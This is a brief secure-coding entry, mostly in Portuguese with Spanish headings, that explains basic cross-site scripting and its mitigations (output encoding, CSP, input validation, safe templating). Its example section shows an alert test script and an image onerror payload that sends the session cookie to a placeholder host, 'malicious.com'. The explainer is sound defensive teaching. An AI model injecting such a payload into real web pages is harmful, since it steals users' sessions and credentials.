Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).
